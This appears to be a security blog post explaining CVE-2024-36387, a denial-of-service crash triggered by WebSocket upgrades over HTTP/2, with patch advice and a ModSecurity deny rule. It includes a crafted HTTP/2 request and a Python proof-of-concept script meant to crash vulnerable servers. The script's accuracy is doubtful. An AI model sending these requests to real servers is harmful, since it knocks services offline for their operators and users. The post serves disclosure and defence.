In June 2024, a critical vulnerability—CVE-2024-36387—was disclosed in popular web server software. This flaw allows attackers to crash server processes by attempting WebSocket protocol upgrades via HTTP/2 connections. The root cause: a Null Pointer dereference triggered on the server's codebase, leading to outages and service degradation.
In this post, we’ll break down what happened, look at how the exploit works, and provide references and code snippets to help you stay protected.
Type: Null Pointer Dereference (Denial of Service)
- Vector: WebSocket protocol upgrades over HTTP/2
Risk: Server crash, service downtime, possible DoS attack
Summary:
When a client tries to upgrade a connection to WebSocket over HTTP/2, the server’s upgrade handling code attempts to reference an object that wasn’t properly initialized. This results in a Null Pointer dereference, causing the server process to crash.
The Problem
WebSockets were traditionally designed to upgrade from HTTP/1.1. If a client attempts to upgrade to WebSockets using HTTP/2, the server should (per specification) reject the request. However, some server implementations attempted to process these upgrades, assuming certain protocol data was always present—leading directly to null dereferencing bugs.
Here's a simplified code example that demonstrates the vulnerable behavior
// Pseudocode for upgrading to WebSocket
if (request.protocol == HTTP2) {
connection = initialize_connection(request);
ws_upgrade = perform_ws_upgrade(connection); // ws_upgrade can be NULL
// Vulnerable: dereference without null check
ws_upgrade->start();
}
If perform_ws_upgrade() doesn’t return a valid pointer (returns NULL on unsupported protocols), dereferencing ws_upgrade causes a crash.
### Exploit Example (Simple HTTP/2 Request)
Attackers can send an HTTP/2 crafted request that attempts a protocol upgrade, triggering the bug
:method: GET
:path: /ws
:scheme: https
:authority: vulnerable-server.com
upgrade: websocket
connection: Upgrade, HTTP2-Settings
sec-websocket-key: <random_base64>
sec-websocket-version: 13
When this is processed by the vulnerable server, the HTTP/2 handling code may attempt the upgrade, leading to a crash.
Proof of Concept (PoC) Attack
1. Use a tool like h2c or curl with HTTP/2 enabled.
2. Send a GET request with an Upgrade: websocket header over an HTTP/2 connection.
3. The server receives, attempts to process the upgrade, triggers a null pointer dereference, and crashes.
Python PoC Snippet
import hyper
conn = hyper.HTTP20Connection('vuln-server.com', 443, secure=True)
headers = [
(':method', 'GET'),
(':path', '/ws'),
(':scheme', 'https'),
(':authority', 'vuln-server.com'),
('upgrade', 'websocket'),
('connection', 'Upgrade, HTTP2-Settings'),
('sec-websocket-key', 'x3JJHMbDL1EzLkh9GBhXDw=='),
('sec-websocket-version', '13')
]
conn.request('GET', '/ws', headers=headers)
response = conn.get_response()
print(response.status, response.read())
*The above can, on a vulnerable server, cause an immediate crash.*
Update Your Server:
- Apache HTTP Server security advisory
- CVE Details
Workarounds:
- Block HTTP/2 upgrade requests with the Upgrade: websocket header at the proxy or WAF layer.
- Disable HTTP/2 temporarily if you cannot update.
Sample Apache config for WAF/ModSecurity
SecRule REQUEST_HEADERS:upgrade "@rx websocket" "id:900001,deny,status:403,msg:'Blocked WebSocket upgrade over HTTP/2 exploit attempt'"
References
- CVE-2024-36387 Detail - NIST Database
- Apache HTTP Server Security Advisories
- RFC6455: The WebSocket Protocol
- WebSocket over HTTP/2 Discussion
Conclusion
CVE-2024-36387 is a real-world example of why mixing new protocols and old patterns can be hazardous—servers should never accept WebSocket upgrades over HTTP/2. Now that you know how the exploit works, make sure your systems are patched and protected.
If you operate a public-facing server using WebSockets and HTTP/2, prioritize mitigation immediately.
Timeline
Published on: 07/01/2024 19:15:03 UTC
Last modified on: 11/25/2024 18:15:12 UTC